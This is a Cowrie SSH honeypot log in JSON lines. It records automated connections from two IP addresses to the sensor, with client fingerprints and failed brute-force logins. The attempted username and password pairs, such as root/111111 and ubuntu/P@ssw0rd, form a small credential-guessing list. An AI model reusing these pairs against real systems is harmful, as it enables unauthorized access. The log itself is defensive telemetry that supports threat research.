{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:32.650832Z","src_ip":"91.92.40.171","session":"87523f9ccbb7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:33.760893Z","src_ip":"91.92.40.171","session":"87523f9ccbb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47440,"dst_ip":"159.203.135.109","dst_port":22,"session":"a87f7e520c91","protocol":"ssh","message":"New connection: 91.92.42.133:47440 (159.203.135.109:22) [session: a87f7e520c91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:35.267234Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:35.798409Z","src_ip":"91.92.42.133","session":"a87f7e520c91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:35.822194Z","src_ip":"91.92.42.133","session":"a87f7e520c91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"111111","message":"login attempt [dev/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:37.742505Z","src_ip":"91.92.42.133","session":"a87f7e520c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59788,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a27a05686d6","protocol":"ssh","message":"New connection: 91.92.40.171:59788 (159.203.135.109:22) [session: 5a27a05686d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:38.021148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:38.057334Z","src_ip":"91.92.40.171","session":"5a27a05686d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:38.353709Z","src_ip":"91.92.40.171","session":"5a27a05686d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:38.768950Z","src_ip":"91.92.40.171","session":"5a27a05686d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:39.353703Z","src_ip":"91.92.42.133","session":"a87f7e520c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:39.886541Z","src_ip":"91.92.40.171","session":"5a27a05686d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47562,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcaf7111db6","protocol":"ssh","message":"New connection: 91.92.42.133:47562 (159.203.135.109:22) [session: 5bcaf7111db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:43.633186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:43.765773Z","src_ip":"91.92.42.133","session":"5bcaf7111db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:43.770913Z","src_ip":"91.92.42.133","session":"5bcaf7111db6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:44.950885Z","src_ip":"91.92.42.133","session":"5bcaf7111db6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59834,"dst_ip":"159.203.135.109","dst_port":22,"session":"139a50c273e1","protocol":"ssh","message":"New connection: 91.92.40.171:59834 (159.203.135.109:22) [session: 139a50c273e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:45.250871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:45.384550Z","src_ip":"91.92.40.171","session":"139a50c273e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:46.256932Z","src_ip":"91.92.42.133","session":"5bcaf7111db6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:46.355994Z","src_ip":"91.92.40.171","session":"139a50c273e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.04694938659668,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:48.834607Z","src_ip":"128.199.8.54","session":"5f80b02ae715","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e39d83abc13","protocol":"ssh","message":"New connection: 91.92.40.171:44144 (159.203.135.109:22) [session: 1e39d83abc13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:48.929339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:48.933201Z","src_ip":"91.92.40.171","session":"1e39d83abc13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:49.015632Z","src_ip":"91.92.40.171","session":"1e39d83abc13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"password","message":"login attempt [claude/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:49.261974Z","src_ip":"91.92.40.171","session":"1e39d83abc13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:50.263364Z","src_ip":"91.92.40.171","session":"139a50c273e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:50.472641Z","src_ip":"91.92.40.171","session":"1e39d83abc13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43582,"dst_ip":"159.203.135.109","dst_port":22,"session":"21d3f50f7a34","protocol":"ssh","message":"New connection: 91.92.42.133:43582 (159.203.135.109:22) [session: 21d3f50f7a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:50.700793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:50.949454Z","src_ip":"91.92.42.133","session":"21d3f50f7a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:50.952449Z","src_ip":"91.92.42.133","session":"21d3f50f7a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:51.803568Z","src_ip":"91.92.40.171","session":"139a50c273e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:52.873739Z","src_ip":"91.92.42.133","session":"21d3f50f7a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:53.972816Z","src_ip":"91.92.42.133","session":"21d3f50f7a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44172,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d5e406f84b5","protocol":"ssh","message":"New connection: 91.92.40.171:44172 (159.203.135.109:22) [session: 8d5e406f84b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:55.956491Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53426,"dst_ip":"159.203.135.109","dst_port":22,"session":"9882f15fed86","protocol":"ssh","message":"New connection: 91.92.42.133:53426 (159.203.135.109:22) [session: 9882f15fed86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:58.517887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:58.531798Z","src_ip":"91.92.42.133","session":"9882f15fed86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:58.632984Z","src_ip":"91.92.42.133","session":"9882f15fed86","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:59.036850Z","src_ip":"91.92.42.133","session":"9882f15fed86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":34344,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fd91db12164","protocol":"ssh","message":"New connection: 91.92.40.171:34344 (159.203.135.109:22) [session: 2fd91db12164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:59.155420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:59.158682Z","src_ip":"91.92.40.171","session":"2fd91db12164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:59.255727Z","src_ip":"91.92.40.171","session":"2fd91db12164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwe","message":"login attempt [root/12345qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:41:59.515215Z","src_ip":"91.92.40.171","session":"2fd91db12164","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:00.175216Z","src_ip":"91.92.42.133","session":"9882f15fed86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:00.610646Z","src_ip":"91.92.40.171","session":"2fd91db12164","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:42:02.039382Z","src_ip":"91.92.40.171","session":"8d5e406f84b5","protocol":"ssh"}
